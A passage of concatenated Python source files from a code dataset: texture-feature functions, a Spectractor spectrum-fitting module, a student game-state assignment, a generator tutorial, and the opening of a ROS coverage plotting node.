=calculate_LRHGE(tGLRLM,r_matrix.T,c_matrix.T,N_runs);\n \n \n return [SRE, LRE, GLN, RLN, RP, LGRE, HGRE, SGLGE, SRHGE, LRLGE, LRHGE];\n\n \n \ndef calculate_SGLGE(tGLRLM,r_matrix,c_matrix,N_runs):\n # Short Run Low Gray-Level Emphasis (SRLGE):\n\n term = tGLRLM/((r_matrix*c_matrix)**2)\n SGLGE= np.sum(sum(term))/N_runs\n return SGLGE\n\ndef calculate_SRHGE(tGLRLM,r_matrix,c_matrix,N_runs):\n # Short Run High Gray-Level Emphasis (SRHGE):\n \n term = tGLRLM*(r_matrix**2)/(c_matrix**2)\n SRHGE = np.sum(np.sum(term))/N_runs\n return SRHGE\n\ndef calculate_LRLGE(tGLRLM,r_matrix,c_matrix,N_runs):\n # Long Run Low Gray-Level Emphasis (LRLGE):\n\n term = tGLRLM*(c_matrix**2)/(r_matrix**2)\n LRLGE = np.sum(np.sum(term))/N_runs\n return LRLGE\n\ndef calculate_LRHGE(tGLRLM,r_matrix,c_matrix,N_runs):\n\n # Long Run High Gray-Level Emphasis (LRHGE):\n term = tGLRLM*(c_matrix**2)*(r_matrix**2);\n LRHGE = np.sum(np.sum(term))/N_runs;\n return LRHGE\n\n \n \n#b = [[0,0,1,1,0,0],[2,2,0,0,1,1],[0,0,1,2,0,0],[2,0,1,1,0,0],[0,0,2,1,1,1],[1,2,0,0,1,1]]\n#print(glrlm(b, 4, 0))\n#print(glrlm(b, 4, 45))\n#print(glrlm(b, 4, 90))\n#print(glrlm(b, 4, 135)) ","sub_path":"classical/glrlm.py","file_name":"glrlm.py","file_ext":"py","file_size_in_byte":5978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221948497","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport numpy as np\nfrom scipy.interpolate import interp1d\n\nfrom spectractor import parameters\nfrom spectractor.config import set_logger\nfrom spectractor.simulation.simulator import SimulatorInit, SpectrumSimulation\nfrom spectractor.simulation.atmosphere import Atmosphere, AtmosphereGrid\nfrom spectractor.fit.fitter import FitWorkspace, run_minimisation_sigma_clipping\nfrom spectractor.tools import plot_spectrum_simple\n\n\nclass SpectrumFitWorkspace(FitWorkspace):\n\n def __init__(self, file_name, atmgrid_file_name=\"\", nwalkers=18, nsteps=1000, burnin=100, nbins=10,\n verbose=0, plot=False, live_fit=False, truth=None):\n \"\"\"Class to fit a spectrum extracted with Spectractor.\n\n The spectrum is supposed to be the product of the star SED, the instrument throughput and the atmospheric\n transmission, contaminated eventually by a second order diffraction.\n The truth parameters are loaded from the file header if provided.\n If provided, the atmospheric grid is used for the atmospheric transmission simulations and interpolated\n with splines, otherwise Libradtran is called at each step (slower).\n\n Parameters\n ----------\n file_name: str\n Spectrum file name.\n atmgrid_file_name: str, optional\n Atmospheric grid file name (default: \"\").\n nwalkers: int, optional\n Number of walkers for MCMC fitting.\n nsteps: int, optional\n Number of steps for MCMC fitting.\n burnin: int, optional\n Number of burn-in steps for MCMC fitting.\n nbins: int, optional\n Number of bins for MCMC chains analysis.\n verbose: int, optional\n Verbosity level (default: 0).\n plot: bool, optional\n If True, many plots are produced (default: False).\n live_fit: bool, optional\n If True, many plots along the fitting procedure are produced to see convergence in live (default: False).\n truth: array_like, optional\n Array of truth parameters to compare with the best fit result (default: None).\n\n Examples\n --------\n\n >>> filename = 'tests/data/reduc_20170530_134_spectrum.fits'\n >>> atmgrid_filename = filename.replace('spectrum', 'atmsim')\n >>> load_config(\"config/ctio.ini\")\n >>> w = SpectrumFitWorkspace(filename, atmgrid_file_name=atmgrid_filename, nsteps=1000,\n ... burnin=2, nbins=10, verbose=1, plot=True, live_fit=False)\n >>> lambdas, model, model_err = w.simulate(*w.p)\n >>> w.plot_fit()\n\n \"\"\"\n FitWorkspace.__init__(self, file_name, nwalkers, nsteps, burnin, nbins, verbose, plot, live_fit, truth=truth)\n if \"spectrum\" not in file_name:\n raise ValueError(\"file_name argument must contain spectrum keyword and be an output from Spectractor.\")\n self.my_logger = set_logger(self.__class__.__name__)\n self.spectrum, self.telescope, self.disperser, self.target = SimulatorInit(file_name)\n self.airmass = self.spectrum.header['AIRMASS']\n self.pressure = self.spectrum.header['OUTPRESS']\n self.temperature = self.spectrum.header['OUTTEMP']\n if atmgrid_file_name == \"\":\n self.atmosphere = Atmosphere(self.airmass, self.pressure, self.temperature)\n else:\n self.use_grid = True\n self.atmosphere = AtmosphereGrid(file_name, atmgrid_file_name)\n if parameters.VERBOSE:\n self.my_logger.info(f'\\n\\tUse atmospheric grid models from file {atmgrid_file_name}. ')\n self.lambdas = self.spectrum.lambdas\n self.data = self.spectrum.data\n self.err = self.spectrum.err\n self.data_cov = self.spectrum.cov_matrix\n self.A1 = 1.0\n self.A2 = 0\n self.ozone = 400.\n self.pwv = 3\n self.aerosols = 0.05\n self.reso = -1\n self.D = self.spectrum.header['D2CCD']\n self.shift_x = self.spectrum.header['PIXSHIFT']\n self.B = 0\n self.p = np.array([self.A1, self.A2, self.ozone, self.pwv, self.aerosols, self.reso, self.D,\n self.shift_x, self.B])\n self.fixed = [False] * self.p.size\n # self.fixed[0] = True\n # self.fixed[1] = True\n self.fixed[5] = True\n self.fixed[6:8] = [True, True]\n # self.fixed[7] = False\n self.fixed[8] = True\n # self.fixed[-1] = True\n self.input_labels = [\"A1\", \"A2\", \"ozone\", \"PWV\", \"VAOD\", \"reso [pix]\", r\"D_CCD [mm]\",\n r\"alpha_pix [pix]\", \"B\"]\n self.axis_names = [\"$A_1$\", \"$A_2$\", \"ozone\", \"PWV\", \"VAOD\", \"reso [pix]\", r\"$D_{CCD}$ [mm]\",\n r\"$\\alpha_{\\mathrm{pix}}$ [pix]\", \"$B$\"]\n self.bounds = [(0, 2), (0, 2/parameters.GRATING_ORDER_2OVER1), (300, 700), (0, 10), (0, 0.01),\n (0, 10), (50, 60), (-2, 2), (-np.inf, np.inf)]\n if atmgrid_file_name != \"\":\n self.bounds[2] = (min(self.atmosphere.OZ_Points), max(self.atmosphere.OZ_Points))\n self.bounds[3] = (min(self.atmosphere.PWV_Points), max(self.atmosphere.PWV_Points))\n self.bounds[4] = (min(self.atmosphere.AER_Points), max(self.atmosphere.AER_Points))\n self.nwalkers = max(2 * self.ndim, nwalkers)\n self.simulation = SpectrumSimulation(self.spectrum, self.atmosphere, self.telescope, self.disperser)\n self.amplitude_truth = None\n self.lambdas_truth = None\n self.output_file_name = file_name.replace('_spectrum', '_spectrum_A2=0')\n self.get_truth()\n\n def get_truth(self):\n \"\"\"Load the truth parameters (if provided) from the file header.\n\n \"\"\"\n if 'A1_T' in list(self.spectrum.header.keys()):\n A1_truth = self.spectrum.header['A1_T']\n A2_truth = 0 * self.spectrum.header['A2_T']\n ozone_truth = self.spectrum.header['OZONE_T']\n pwv_truth = self.spectrum.header['PWV_T']\n aerosols_truth = self.spectrum.header['VAOD_T']\n reso_truth = -1\n D_truth = self.spectrum.header['D2CCD_T']\n shift_truth = 0\n B_truth = 0\n self.truth = (A1_truth, A2_truth, ozone_truth, pwv_truth, aerosols_truth,\n reso_truth, D_truth, shift_truth, B_truth)\n self.lambdas_truth = np.fromstring(self.spectrum.header['LBDAS_T'][1:-1], sep=' ', dtype=float)\n self.amplitude_truth = np.fromstring(self.spectrum.header['AMPLIS_T'][1:-1], sep=' ', dtype=float)\n else:\n self.truth = None\n\n def plot_spectrum_comparison_simple(self, ax, title='', extent=None, size=0.4):\n \"\"\"Method to plot a spectrum issued from data and compare it with simulations.\n\n Parameters\n ----------\n ax: Axes\n Axes instance of shape (4, 2).\n title: str, optional\n Title for the simulation plot (default: '').\n extent: array_like, optional\n Extent argument for imshow to crop plots (default: None).\n size: float, optional\n Relative size of the residual pad (default: 0.4).\n \"\"\"\n lambdas = self.spectrum.lambdas\n sub = np.where((lambdas > parameters.LAMBDA_MIN) & (lambdas < parameters.LAMBDA_MAX))\n if extent is not None:\n sub = np.where((lambdas > extent[0]) & (lambdas < extent[1]))\n plot_spectrum_simple(ax, lambdas=lambdas, data=self.data, data_err=self.err,\n units=self.spectrum.units)\n p0 = ax.plot(lambdas, self.model, label='model')\n ax.fill_between(lambdas, self.model - self.model_err,\n self.model + self.model_err, alpha=0.3, color=p0[0].get_color())\n if self.amplitude_truth is not None:\n ax.plot(self.lambdas_truth, self.amplitude_truth, 'g', label=\"truth\")\n # ax.plot(self.lambdas, self.model_noconv, label='before conv')\n if title != '':\n ax.set_title(title, fontsize=10)\n ax.legend()\n divider = make_axes_locatable(ax)\n ax2 = divider.append_axes(\"bottom\", size=size, pad=0, sharex=ax)\n ax.figure.add_axes(ax2)\n min_positive = np.min(self.model[self.model > 0])\n idx = np.logical_not(np.isclose(self.model[sub], 0, atol=0.01 * min_positive))\n residuals = (self.spectrum.data[sub][idx] - self.model[sub][idx]) / self.err[sub][idx]\n residuals_err = self.spectrum.err[sub][idx] / self.err[sub][idx]\n ax2.errorbar(lambdas[sub][idx], residuals, yerr=residuals_err, fmt='ro', markersize=2, label='(Data-Model)/Err')\n ax2.axhline(0, color=p0[0].get_color())\n ax2.grid(True)\n residuals_model = self.model_err[sub][idx] / self.err[sub][idx]\n ax2.fill_between(lambdas[sub][idx], -residuals_model, residuals_model, alpha=0.3, color=p0[0].get_color())\n # std = np.std(residuals)\n # ax2.set_ylim([-2. * std, 2. * std])\n ax2.set_xlabel(ax.get_xlabel())\n # ax2.set_ylabel('(Data-Model)/Err', fontsize=10)\n ax2.legend()\n ax2.set_xlim((lambdas[sub][0], lambdas[sub][-1]))\n ax.set_xlim((lambdas[sub][0], lambdas[sub][-1]))\n ax.set_ylim((0.9 * np.min(self.spectrum.data[sub]), 1.1 * np.max(self.spectrum.data[sub])))\n ax.set_xticks(ax2.get_xticks()[1:-1])\n ax.get_yaxis().set_label_coords(-0.08, 0.6)\n # ax2.get_yaxis().set_label_coords(-0.11, 0.5)\n\n def simulate(self, A1, A2, ozone, pwv, aerosols, reso, D, shift_x, B):\n \"\"\"Interface method to simulate a spectrogram.\n\n Parameters\n ----------\n A1: float\n Main amplitude parameter.\n A2: float\n Relative amplitude of the order 2 spectrogram.\n ozone: float\n Ozone parameter for Libradtran (in db).\n pwv: float\n Precipitable Water Vapor quantity for Libradtran (in mm).\n aerosols: float\n Vertical Aerosols Optical Depth quantity for Libradtran (no units).\n reso: float\n Width of the Gaussian kernel to convolve the spectrum.\n D: float\n Distance between the CCD and the disperser (in mm).\n shift_x: float\n Shift of the order 0 position along the X axis (in pixels).\n B: float\n Amplitude of the simulated background (considered flat in ADUs).\n\n Returns\n -------\n lambdas: array_like\n Array of wavelengths (1D).\n model: array_like\n 2D array of the spectrogram simulation.\n model_err: array_like\n 2D array of the spectrogram simulation uncertainty.\n\n Examples\n --------\n\n >>> filename = 'tests/data/sim_20170530_134_spectrum.fits'\n >>> atmgrid_filename = filename.replace('spectrum', 'atmsim')\n >>> load_config(\"config/ctio.ini\")\n >>> w = SpectrumFitWorkspace(filename, atmgrid_filename, verbose=1, plot=True, live_fit=False)\n >>> lambdas, model, model_err = w.simulate(*w.p)\n >>> w.plot_fit()\n\n \"\"\"\n lambdas, model, model_err = self.simulation.simulate(A1, A2, ozone, pwv, aerosols, reso, D, shift_x, B)\n self.model = model\n self.model_err = model_err\n return lambdas, model, model_err\n\n def plot_fit(self):\n \"\"\"Plot the fit result.\n\n Examples\n --------\n\n >>> filename = 'tests/data/reduc_20170530_134_spectrum.fits'\n >>> atmgrid_filename = filename.replace('spectrum', 'atmsim')\n >>> load_config(\"config/ctio.ini\")\n >>> w = SpectrumFitWorkspace(filename, atmgrid_filename, verbose=1, plot=True, live_fit=False)\n >>> lambdas, model, model_err = w.simulate(*w.p)\n >>> w.plot_fit()\n\n .. plot::\n :include-source:\n\n from spectractor.fit.fit_spectrum import SpectrumFitWorkspace\n file_name = 'tests/data/reduc_20170530_134_spectrum.fits'\n atmgrid_file_name = file_name.replace('spectrum', 'atmsim')\n fit_workspace = SpectrumFitWorkspace(file_name, atmgrid_file_name=atmgrid_file_name, verbose=True)\n A1, A2, ozone, pwv, aerosols, reso, D, shift_x = fit_workspace.p\n lambdas, model, model_err = fit_workspace.simulation.simulate(A1,A2,ozone, pwv, aerosols, reso, D, shift_x)\n fit_workspace.lambdas = lambdas\n fit_workspace.model = model\n fit_workspace.model_err = model_err\n fit_workspace.plot_fit()\n\n \"\"\"\n fig = plt.figure(figsize=(12, 6))\n ax1 = plt.subplot(222)\n ax2 = plt.subplot(224)\n ax3 = plt.subplot(121)\n A1, A2, ozone, pwv, aerosols, reso, D, shift, B = self.p\n self.title = f'A1={A1:.3f}, A2={A2:.3f}, PWV={pwv:.3f}, OZ={ozone:.3g}, VAOD={aerosols:.3f},\\n ' \\\n f'reso={reso:.2f}pix, D={D:.2f}mm, shift={shift:.2f}pix, B={B:.2g}'\n # main plot\n self.plot_spectrum_comparison_simple(ax3, title=self.title, size=0.8)\n # zoom O2\n self.plot_spectrum_comparison_simple(ax2, extent=[730, 800], title='Zoom $O_2$', size=0.8)\n # zoom H2O\n self.plot_spectrum_comparison_simple(ax1, extent=[870, 1000], title='Zoom $H_2 O$', size=0.8)\n fig.tight_layout()\n if self.live_fit:\n plt.draw()\n plt.pause(1e-8)\n plt.close()\n else:\n if parameters.DISPLAY and parameters.VERBOSE:\n plt.show()\n if parameters.PdfPages:\n parameters.PdfPages.savefig()\n if parameters.SAVE:\n figname = self.filename.replace('.fits', '_bestfit.pdf')\n self.my_logger.info(f'Save figure {figname}.')\n fig.savefig(figname, dpi=100, bbox_inches='tight')\n\n def decontaminate_order2(self):\n lambdas = self.spectrum.lambdas\n lambdas_order2 = self.simulation.lambdas_order2\n A1, A2, ozone, pwv, aerosols, reso, D, shift, B = self.p\n lambdas_binwidths_order2 = np.gradient(lambdas_order2)\n lambdas_binwidths = np.gradient(lambdas)\n sim_conv = interp1d(lambdas, self.model * lambdas, kind=\"linear\", bounds_error=False, fill_value=(0, 0))\n err_conv = interp1d(lambdas, self.model_err * lambdas, kind=\"linear\", bounds_error=False, fill_value=(0, 0))\n spectrum_order2 = sim_conv(lambdas_order2) * lambdas_binwidths_order2 / lambdas_binwidths\n err_order2 = err_conv(lambdas_order2) * lambdas_binwidths_order2 / lambdas_binwidths\n self.model = (sim_conv(lambdas) - A2 * spectrum_order2) / lambdas\n self.model_err = (err_conv(lambdas) - A2 * err_order2) / lambdas\n\n def get_truth_without_order2(self):\n lambdas, model, model_err = self.simulation.simulate(1., 0., self.ozone, self.pwv, self.aerosols, self.reso,\n self.D, self.shift_x)\n self.lambdas_truth = lambdas\n self.amplitude_truth = model\n\n\ndef lnprob_spectrum(p):\n \"\"\"Logarithmic likelihood function to maximize in MCMC exploration.\n\n Parameters\n ----------\n p: array_like\n Array of SpectrumFitWorkspace parameters.\n\n Returns\n -------\n lp: float\n Log of the likelihood function.\n\n \"\"\"\n global w\n lp = w.lnprior(p)\n if not np.isfinite(lp):\n return -1e20\n return lp + w.lnlike(p)\n\n\ndef run_spectrum_minimisation(fit_workspace, method=\"newton\"):\n \"\"\"Interface function to fit spectrum simulation parameters to data.\n\n Parameters\n ----------\n fit_workspace: SpectrumFitWorkspace\n An instance of the SpectrogramFitWorkspace class.\n method: str, optional\n Fitting method (default: 'newton').\n\n Examples\n --------\n\n >>> filename = 'tests/data/sim_20170530_134_spectrum.fits'\n >>> atmgrid_filename = filename.replace('sim', 'reduc').replace('spectrum', 'atmsim')\n >>> load_config(\"config/ctio.ini\")\n >>> w = SpectrumFitWorkspace(filename, atmgrid_file_name=atmgrid_filename, verbose=1, plot=True, live_fit=False)\n >>> parameters.VERBOSE = True\n >>> run_spectrum_minimisation(w, method=\"newton\")\n\n \"\"\"\n my_logger = set_logger(__name__)\n guess = np.asarray(fit_workspace.p)\n if method != \"newton\":\n run_minimisation(fit_workspace, method=method)\n else:\n # fit_workspace.simulation.fast_sim = True\n # costs = np.array([fit_workspace.chisq(guess)])\n # if parameters.DISPLAY and (parameters.DEBUG or fit_workspace.live_fit):\n # fit_workspace.plot_fit()\n # params_table = np.array([guess])\n my_logger.info(f\"\\n\\tStart guess: {guess}\\n\\twith {fit_workspace.input_labels}\")\n epsilon = 1e-4 * guess\n epsilon[epsilon == 0] = 1e-4\n epsilon[-1] = 0.001 * np.max(fit_workspace.data)\n\n # fit_workspace.simulation.fast_sim = True\n # fit_workspace.simulation.fix_psf_cube = False\n # run_minimisation_sigma_clipping(fit_workspace, method=\"newton\", epsilon=epsilon, fix=fit_workspace.fixed,\n # xtol=1e-4, ftol=1 / fit_workspace.data.size, sigma_clip=10, niter_clip=3,\n # verbose=False)\n\n fit_workspace.simulation.fast_sim = False\n run_minimisation_sigma_clipping(fit_workspace, method=\"newton\", epsilon=epsilon, fix=fit_workspace.fixed,\n xtol=1e-6, ftol=1 / fit_workspace.data.size, sigma_clip=10, niter_clip=3,\n verbose=False)\n if fit_workspace.filename != \"\":\n parameters.SAVE = True\n ipar = np.array(np.where(np.array(fit_workspace.fixed).astype(int) == 0)[0])\n fit_workspace.plot_correlation_matrix(ipar)\n header = f\"{fit_workspace.spectrum.date_obs}\\nchi2: {fit_workspace.costs[-1] / fit_workspace.data.size}\"\n fit_workspace.save_parameters_summary(ipar, header=header)\n # save_gradient_descent(fit_workspace, costs, params_table)\n fit_workspace.plot_fit()\n parameters.SAVE = False\n\n\nif __name__ == \"__main__\":\n from argparse import ArgumentParser\n from spectractor.config import load_config\n from spectractor.fit.fitter import run_minimisation\n\n parser = ArgumentParser()\n parser.add_argument(dest=\"input\", metavar='path', default=[\"tests/data/reduc_20170530_134_spectrum.fits\"],\n help=\"Input fits file name. It can be a list separated by spaces, or it can use * as wildcard.\",\n nargs='*')\n parser.add_argument(\"-d\", \"--debug\", dest=\"debug\", action=\"store_true\",\n help=\"Enter debug mode (more verbose and plots).\", default=True)\n parser.add_argument(\"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\",\n help=\"Enter verbose (print more stuff).\", default=False)\n parser.add_argument(\"-o\", \"--output_directory\", dest=\"output_directory\", default=\"outputs/\",\n help=\"Write results in given output directory (default: ./outputs/).\")\n parser.add_argument(\"-l\", \"--logbook\", dest=\"logbook\", default=\"ctiofulllogbook_jun2017_v5.csv\",\n help=\"CSV logbook file. (default: ctiofulllogbook_jun2017_v5.csv).\")\n parser.add_argument(\"-c\", \"--config\", dest=\"config\", default=\"config/ctio.ini\",\n help=\"INI config file. (default: config.ctio.ini).\")\n args = parser.parse_args()\n\n parameters.VERBOSE = args.verbose\n if args.debug:\n parameters.DEBUG = True\n parameters.VERBOSE = True\n\n file_names = args.input\n\n load_config(args.config)\n\n filenames = ['outputs/sim_20170530_134_spectrum.fits']\n filenames = [\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_104_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_109_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_114_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_119_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_124_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_129_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_134_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_139_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_144_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_149_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_154_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_159_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_164_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_169_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_174_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_179_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_184_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_189_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_194_spectrum.fits',\n 'outputs/data_30may17_HoloAmAg_prod6.9/sim_20170530_199_spectrum.fits']\n params = []\n chisqs = []\n filenames = ['outputs/sim_20170530_134_spectrum.fits']\n for filename in filenames:\n atmgrid_filename = filename.replace('sim', 'reduc').replace('spectrum', 'atmsim')\n\n w = SpectrumFitWorkspace(filename, atmgrid_file_name=atmgrid_filename, nsteps=1000,\n burnin=200, nbins=10, verbose=1, plot=True, live_fit=False)\n run_spectrum_minimisation(w, method=\"newton\")\n params.append(w.p)\n chisqs.append(w.costs[-1])\n params = np.asarray(params).T\n\n # fig, ax = plt.subplots(1, len(params))\n # for ip, p in enumerate(params):\n # print(f\"{w.input_labels[ip]}:\", np.mean(p), np.std(p))\n # ax[ip].plot(p, label=f\"{w.input_labels[ip]}\")\n # ax[ip].grid()\n # ax[ip].legend()\n # plt.show()\n\n # w.decontaminate_order2()\n # fit_workspace.simulate(*fit_workspace.p)\n # fit_workspace.plot_fit()\n # run_emcee(fit_workspace, ln=lnprob_spectrum)\n # fit_workspace.analyze_chains()\n","sub_path":"spectractor/fit/fit_spectrum.py","file_name":"fit_spectrum.py","file_ext":"py","file_size_in_byte":22564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"273260688","text":"import math\nfrom typing import *\n\nclass State:\n\n \"\"\"\n The State class can return the current player name, determine the valid\n moves.\n \"\"\"\n\n def __init__(self, is_p1_turn: bool) -> None:\n\n \"\"\"Create a new State self with is_p1_turn\n\n @param self: State\n @param is_p1_turn: player one's turn\n @rtype: None\n \"\"\"\n self.is_p1_turn = is_p1_turn\n\n\n def get_current_player_name(self) -> str:\n \"\"\"\n Return the current player name.\n\n @param self: State\n @rtype: str\n\n >>> self.is_p1_turn == True\n 'p1'\n\n >>> self.is_p1_turn == False\n 'p2'\n \"\"\"\n\n if self.is_p1_turn:\n return 'p1'\n return 'p2'\n\n\n def get_possible_moves(self):\n raise NotImplementedError('Subclass needed!')\n\n\n def is_valid_move(self, move_to_make: Any) -> bool:\n \"\"\"\n Return True if the moves are valid.\n\n @param self: State\n @param move_to_make: user input\n @rtype: bool\n\n >>> move_to_make = 4\n >>> self.get_possible_moves() == [1, 2, 3]\n >>> self.is_valid_move()\n False\n\n >>> move_to_make = 4\n >>> self.get_possible_moves() == [1, 2, 4]\n >>> self.is_valid_move()\n True\n \"\"\"\n if move_to_make in self.get_possible_moves():\n return True\n return False\n\n def make_move(self, move_to_make):\n\n if self.is_p1_turn == True:\n self.is_p1_turn = False\n else:\n self.is_p1_turn = True\n\n\n def __eq__(self, other: 'State') -> bool:\n \"\"\"\n Return whether Rational self is equivalent to other.\n\n @param self: State\n @param other: State | Any\n @rtype: bool\n \"\"\"\n return (type(self) == type(other)) and (self.is_p1_turn == other.is_p1_turn)\n\n\n def __str__(self):\n raise NotImplementedError\n\n\nclass SubSquareState(State):\n\n \"\"\"\n The SubSquareState class is able to determine the possible moves,\n and apply the move.\n \"\"\"\n\n def __init__(self, is_p1_turn: bool, remaining_number: int =None) -> None:\n\n \"\"\"\n Create a new SubSquareState self with is_p1_turn\n\n @param self: SubSquareState\n @param is_p1_turn: player one's turn\n @rtype: None\n \"\"\"\n self.remaining_number = remaining_number\n if remaining_number is None:\n self.remaining_number = int(input(\"Please enter the number to start: \"))\n State.__init__(self, is_p1_turn)\n\n def get_possible_moves(self) -> List:\n \"\"\"\n Return the next possible moves for the player.\n\n @param self: SubSquareState\n @rtype: List\n\n >>> self.remaining_number = 13\n >>> self.get_possible_moves()\n ['1', '4', '9']\n\n >>> self.remaining_number = 0\n >>> self.get_possible_moves()\n []\n \"\"\"\n move = []\n possible = int(math.sqrt(self.remaining_number))\n for num in range(1, possible + 1):\n move.append(str(num ** 2))\n return move\n\n\n def make_move(self, move_to_make: int) -> 'State':\n\n \"\"\"\n Return a new SubSquareState with valid move.\n\n >>> self.remaining_number = 5\n >>> move_to_make = 4\n self.remaining_number = 1\n\n >>> self.remaining_number = 4\n >>> move_to_make = 4\n self.remaining_number = 0\n\n \"\"\"\n\n if self.is_p1_turn:\n new_player_turn = False\n else:\n new_player_turn = True\n\n new_val = self.remaining_number - int(move_to_make)\n new_state = SubSquareState(new_player_turn, new_val)\n\n return new_state\n\n def __str__(self) -> str:\n\n \"\"\"Return the string representation of the current remaining number.\"\"\"\n\n return 'the remaining number is {}'.format(self.remaining_number)\n\n\nclass ChopstickState(State):\n\n '''The ChopsticksState class updates the state of the hands every time the\n player makes a move.'''\n\n starting_set_up: Dict\n\n def __init__(self, is_p1_turn: bool) -> None:\n\n \"\"\"\n Creates a new self with is_p1_turn.\n \"\"\"\n\n State.__init__(self, is_p1_turn)\n self.starting_set_up = {'l1': 1, 'r1': 1, 'l2': 1, 'r2': 1}\n self.p1_moves = [\"ll\", \"lr\", \"rl\", \"rr\"]\n self.p2_moves = [\"ll\", \"lr\", \"rl\", \"rr\"]\n self.p1_hand_state = [True, True]\n self.p2_hand_state = [True, True]\n\n\n def get_possible_moves(self) -> List:\n\n \"\"\"\n Return the possible moves.\n\n @param self: ChopstickState\n @rtype: List\n\n >>> player = 'p1'\n >>> move = [\"ll\", \"lr\", \"rl\", \"rr\"]\n >>> self.get_possible_moves()\n ['l1', 'l2']\n \"\"\"\n\n results = []\n if self.get_current_player_name() == 'p1':\n for move in self.p1_moves:\n move = move[0] + \"1\" + \", \" + move[1] + \"2\"\n results.append(move)\n else:\n for move in self.p2_moves:\n move = move[0] + \"2\" + \", \" + move[1] + \"1\"\n results.append(move)\n return results\n\n\n def change_possible_moves(self, hand: int, player: int) -> None:\n\n '''Changes the next possible moves after make_move.\n\n @param hand:int\n @param player: int\n @rtype: None\n '''\n\n moves = self.p1_moves if player == 1 else self.p2_moves\n # player determines which hand is dead\n index = 0\n hand = \"l\" if hand == 0 else \"r\"\n while index < len(moves):\n if moves[index].startswith(hand):\n moves.remove(moves[index]) #removes the dead hand\n else:\n index += 1\n\n\n def make_move(self, move_to_make: List) -> State:\n\n \"\"\"\n Returns a new state of the game.\n \"\"\"\n\n if len(move_to_make) == 2:\n if self.get_current_player_name() == \"p1\":\n fixed_move = move_to_make[0] + \"1\" + \", \" + move_to_make[1] + \"2\"\n else:\n fixed_move = move_to_make[0] + \"2\" + \", \" + move_to_make[1] + \"1\"\n move_to_make = fixed_move\n\n lst = move_to_make.replace(' ', '').split(',') #space after comma\n self.starting_set_up[lst[1]] += self.starting_set_up[lst[0]]\n\n for hands in self.starting_set_up.keys():\n self.starting_set_up[hands] = self.starting_set_up[hands] % 5\n ind = 0 if hands.startswith('l') else 1\n #self.starting_set_up = {'l1': 1, 'r1': 1, 'l2': 1, 'r2': 1}\n if self.starting_set_up[hands] == 0:\n\n if hands.endswith('1'):\n self.p1_hand_state[ind] = False\n self.change_possible_moves(ind, 1)\n else:\n self.p2_hand_state[ind] = False\n self.change_possible_moves(ind, 2)\n\n if self.get_current_player_name() == 'p1':\n self.is_p1_turn = False\n else:\n self.is_p1_turn = True\n\n return self\n\n def __str__(self):\n\n \"\"\"Returns the string representation of the state.\"\"\"\n\n return \"the current state is: {}-{} {}-{}\".format(self.starting_set_up[\"l1\"], \\\n self.starting_set_up[\"r1\"], \\\n self.starting_set_up[\"l2\"], \\\n self.starting_set_up[\"r2\"])\n\n\nif __name__ == '__main__':\n import python_ta\n python_ta.check_all(config=\"a1_pyta.txt\")\n","sub_path":"csc148/a1/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":7543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231572261","text":"# 仅定义生成方法,不创建列表\ng = (x for x in range(1, 11))\nprint(g)\nprint(next(g))\nfor n in g:\n print(n)\n\n# 函数生成斐波拉契数列\n# def fib(max):\n# n, a, b = 0, 0, 1\n# while n < max:\n# print(b)\n# a, b = b, a + b\n# n = n + 1\n# return 'done'\n\n# 将函数改为generator\ndef fib(max):\n n, a, b = 0, 0, 1\n while n < max:\n yield (b)\n a, b = b, a + b\n n = n + 1\n\nfor i in fib(10):\n print(i)\n\n","sub_path":"com/AdvancedFeatures/Generator.py","file_name":"Generator.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349885009","text":"#!/usr/bin/env python\n\"\"\"This module implements a ROS node that\nplots the data relative to the coverage task.\"\"\"\n\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.transforms import Affine2D\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\n\nfrom matplotlib.patches import Rectangle\n\nfrom quad_control.msg import camera_pose\nfrom quad_control.srv import LandmarksTrade\n\n\nimport rospy\n\nfrom utilities.coverage_giorgio import Camera, Landmark_list\n\nget = rospy.get_param\n\nimport numpy\n\nfrom math import pi,cos,sin\n\n#import utilities.coverage_utilities as cov\n\nclass ProjectorPlotNode():\n\n\tdef __init__(self):\n\n\t\tself.frequency = get(\"/planner_frequency\",1e1)\n\t\tself.D_OPT = get(\"/D_OPT\",2)\n\t\tself.name_agents = get(\"/name_agents\", '').rsplit(' ')\n\n\t\tself.x_min = get(\"/x_min\",-1.5)\n\t\tself.y_min = 